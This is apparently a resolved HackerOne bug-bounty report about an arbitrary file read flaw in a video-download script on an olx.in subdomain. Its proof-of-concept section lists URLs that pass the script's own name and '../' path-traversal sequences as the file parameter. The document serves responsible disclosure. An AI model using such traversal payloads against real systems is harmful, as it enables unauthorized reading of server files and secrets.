Arbitrary File Reading
Unknown
Vulnerability Details
Hi!
The script for video downloading doesn't properly filter the input filename, and it's possible to read arbitrary files from File System
PoC
http://makeyourad1.olx.in/converted/final/ready/madeit/download.php?file=download.php
http://makeyourad1.olx.in/converted/final/ready/madeit/download.php?file=../../../../b<<
http://makeyourad1.olx.in/converted/final/ready/madeit/download.php?file=../../../../c<<
screenshots are attached below
Actions
View on HackerOneReport Stats
- Report ID: 150783
- State: Closed
- Substate: resolved
- Upvotes: 10